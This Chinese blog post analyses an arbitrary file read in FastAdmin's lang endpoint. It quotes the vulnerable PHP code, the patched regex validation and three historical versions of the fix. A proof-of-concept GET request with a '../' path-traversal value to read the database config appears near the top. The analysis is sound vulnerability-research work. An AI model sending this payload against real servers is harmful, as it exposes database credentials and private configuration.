网站背景图
Keye Keye's Blog
博主

昨天 13:46在线

Keye
Keye's Blog
博主 Keye
蜀ICP备2024099559号-1川公网安备51015602001074博主 昨天 13:46 在线自豪地使用 Typecho 建站搭配使用 🌻Sunny 主题当前在线 7 人
歌曲封面 未知作品
  • 歌曲封面鲜花回春丹
  • 歌曲封面醒着醉马良

蜀ICP备2024099559号-1

川公网安备51015602001074

网站已运行 1 年 354 天 18 小时 7 分

Powered by Typecho & Sunny

8 online · 107 ms

Title

对 Fastadmin lang任意文件读取漏洞的代码分析

keye

·

网络安全

·

Article

FastAdmin是一款基于ThinkPHP+Bootstrap的极速后台开发框架。

POC

♾️ JS 代码:

GET /index/ajax/lang?lang=../../application/database HTTP/1.1

Host: xxx.xxx.xxx.xxx

代码分析 ## 1.2.0.20210125_beta版本分析

定位到相关文件application\\index\\controller\\Ajax.php

♾️ php 代码:

<?php

  

namespace app\\index\\controller;

  

use app\\common\\controller\\Frontend;

use think\\Lang;

  

/**

* Ajax异步请求接口

* @internal

*/

class Ajax extends Frontend

{

  

protected $noNeedLogin = [\'lang\', \'upload\'];

protected $noNeedRight = [\'*\'];

protected $layout = \'\';

  

/**

* 加载语言包

*/

public function lang()

{

header(\'Content-Type: application/javascript\');

header(\"Cache-Control: public\");

header(\"Pragma: cache\");

  

$offset = 30 * 60 * 60 * 24; // 缓存一个月

header(\"Expires: \" . gmdate(\"D, d M Y H:i:s\", time() + $offset) . \" GMT\");

  

$controllername = input(\"controllername\");

$this->loadlang($controllername);

//强制输出JSON Object

$result = jsonp(Lang::get(), 200, [], [\'json_encode_param\' => JSON_FORCE_OBJECT | JSON_UNESCAPED_UNICODE]);

return $result;

}

  

/**

* 上传文件

*/

public function upload()

{

return action(\'api/common/upload\');

}

  

}

跟进application\\common\\controller\\Frontend.php文件中的loadlang方法:

♾️ php 代码:

protected function loadlang($name)

{

$name = Loader::parseName($name);

Lang::load(APP_PATH . $this->request->module() . \'/lang/\' . $this->request->langset() . \'/\' . str_replace(\'.\', \'/\', $name) . \'.php\');

}

可以看到对$name没有任何过滤的处理,可构造类似../../application/databasePayload读取任意PHP文件。

已修复最新版本分析

直接定位文件application\\common\\controller\\Frontend.php

♾️ php 代码:

protected function loadlang($name)

{

$name = Loader::parseName($name);

$lang = $this->request->langset();

$lang = preg_match(\"/^([a-zA-Z\\-_]{2,10})\\$/i\", $lang) ? $lang : \'zh-cn\';

Lang::load(APP_PATH . $this->request->module() . \'/lang/\' . $lang . \'/\' . str_replace(\'.\', \'/\', $name) . \'.php\');

}

通过/^([a-zA-Z\\-_]{2,10})\\$/i对路径语言进行过滤,防止通过../跨目录读取。

彩蛋

在查看application/common/controller/Api.php历史文件中,发现loadlang方法的历史提交记录如下。

♾️ php 代码:

//V1版本

protected function loadlang($name)

{

$name = Loader::parseName($name);

Lang::load(APP_PATH . $this->request->module() . \'/lang/\' . $this->request->langset() . \'/\' . str_replace(\'.\', \'/\', $name) . \'.php\');

}
♾️ php 代码:

//V2版本

protected function loadlang($name)

{

$name = Loader::parseName($name);

$lang = $this->request->langset();

$lang = preg_match(\"/^([a-zA-Z\\-_]{2,10})\\$/i\", $lang) ? $lang : \'zh-cn\';

Lang::load(APP_PATH . $this->request->module() . \'/lang/\' . $lang . \'/\' . str_replace(\'.\', \'/\', $name) . \'.php\');

}
♾️ php 代码:

//V3版本

protected function loadlang($name)

{

$name = Loader::parseName($name);

$name = preg_match(\"/^([a-zA-Z0-9_\\.\\/]+)\\$/i\", $name) ? $name : \'index\';

$lang = $this->request->langset();

$lang = preg_match(\"/^([a-zA-Z\\-_]{2,10})\\$/i\", $lang) ? $lang : \'zh-cn\';

Lang::load(APP_PATH . $this->request->module() . \'/lang/\' . $lang . \'/\' . str_replace(\'.\', \'/\', $name) . \'.php\');

}
现在已有 764 次阅读,0 条评论,0 人点赞
Comment:共0条
发表
搜 索 消 息 足 迹
你还不曾留言过..
你还不曾留下足迹..
博主 不再显示
博主
博主 立即安装